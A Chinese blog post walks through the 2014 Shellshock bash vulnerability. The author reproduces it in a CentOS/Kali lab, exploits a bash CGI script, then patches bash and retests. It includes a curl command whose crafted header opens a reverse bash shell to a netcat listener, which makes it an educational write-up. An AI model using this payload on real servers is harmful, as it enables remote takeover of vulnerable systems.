首页 > 代码库 > Bash漏洞深入分析及修补测试

Bash漏洞深入分析及修补测试

2014年9月25日互联网爆出bash存在严重漏洞!
我当时一头雾水,不知发生何事,于是求助“度娘”才知道发生了惊天的大事。此漏洞比openssl的心血漏洞还牛X,简直就是放血!
当时,找到的方案是升级bash-4.1.2-15.el6_5.1.x86_64能解决。自己在虚拟机上测试了一下,并对照红帽当时官网的结果对比,自以为一切OK。结果9月26日中午,又得知那个补丁失效,需要再升级到bash-4.1.2-15.el6_5.2.x86_64 ,于是我零乱了,决定仔细研究一下这个漏洞。
【关键词】:bash、env、环境变量、CGI、netcat
【环境】:1台Centos6.4 x86_64(开启apche服务)、1台Kali Linux PC(BT5升级啦!),两机器互通。
【第一部分bash的漏洞出在哪里?】
Centos6.4 x86_64操作系统默认安装bash-4.1.2-14.e16.x86_64版本。
(1)先玩一下env命令。这个命令可以定义一个环境变量,并把这个变量作为参数放到后的shell命令中,这里的shell是bash shell。

wKioL1RFJpiwPDXtAACicd7lv6M015.jpg

 

wKiom1RFJoqhCnu9AACLpANtO4g951.jpg

(2)env还能定义类型为函数的环境变量,并把这个函数作为bash执行。

wKiom1RFJsniUIUMAABjBeH-KWE675.jpg

(3)bash的漏洞初见倪端!

wKioL1RFJzSiNAmRAABywvHXBu4836.jpg

【第二部分 基于bash漏洞的攻击演示】
这个漏洞攻击是有条件的:
a)被攻击对象上的程序在某一时刻使用bash作为校本解释器,并处理环境变量赋值。
b)环境变量赋值字符串的提交取决于用户的输入。
与我们生活息息相关的就是网页,我们直接会想到apache。web开发这里我不做详细介绍,但大家要知道bashcgi也可以写简单的易用的web框架,完成监控、自动化等实际需求。
(1)我们先把httpd服务启动,并在/var/www/cgi-bin目录下创建duozhu_cgi文件,该文件赋权限755,文件内容如下。
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html>"
echo "    <body>"
echo "        ZhangDuozhu is in Beijing!"
echo "     </body>"
echo "</html>"

wKioL1RFJ8SRSOrzAABZW7q0TVo365.jpg

(2)使用浏览器访问这个页面,正常如下。

wKioL1RFJ-_zRF6SAAByai63pok265.jpg

这个是模拟正常的用户访问,下面我们模拟攻击者的恶意行为。

(3)使用kali Linux提供的netcat工具(此工具详细说明请找度娘),执行netcat -lvp 8080监听本机的8080端口,然后再打开一个窗口执行curl命令构造一个不同寻常的http请求,命令如下:
curl -H ‘X: () { :;}; /bin/bash -i >& /dev/tcp/192.168.8.149/8080 0>&1‘  http://192.168.8.153/cgi-bin/duozhu_cgi
这个命令的作用是反弹一个bash shell到kali linux机器的8080端口上。

wKioL1RFKEex860bAAG3hugJ91g249.jpg

此时,在kali linux的监听窗口发生了奇迹如下,我们成功拿到了bash shell !!!

wKiom1RFKCKieJOnAAEmmVTCq7w090.jpg

(4)于是我们可以进行如下操作,当然执行什么命令得看你人品。

wKioL1RFKKawTE_pAAJTFBQuxKo006.jpg

哦~这个漏洞还是比较危险的!

【第三部分修复bash漏洞】
修复很简单,如果条件允许就直接执行yum update bash 升级到bash-4.1.2-15.el6_5.2.x86_64版本。
如果条件不允许,可直接用rpm包安装。

wKiom1RFKJfB6DK3AAGmvMcFVv8427.jpg

升级后的测试如下:
(1)升级后使用env命令,发现貌似不允许定义函数类型的环境变量了。
升级后

wKioL1RFKQLzGvowAAE43T97oiI143.jpg

升级前

wKiom1RFJsniUIUMAABjBeH-KWE675.jpg

(2)当这个大招都不好使后,那么curl到的肯定是个正常的结果,netcat也没用了。

wKiom1RFKRWSOw9DAAEbvyTCY8g167.jpg

 

wKiom1RFKXnQt2cxAABVnqFAKhY604.jpg

 

wKiom1RFKT_hfB_YAAPjCUKgs7w582.jpg

 

wKioL1RFKYmh8iabAAUxRKEdE94588.jpg

本文出自 “张舵主” 博客,请务必保留此出处http://zdzhu.blog.51cto.com/6180070/1566113

Bash漏洞深入分析及修补测试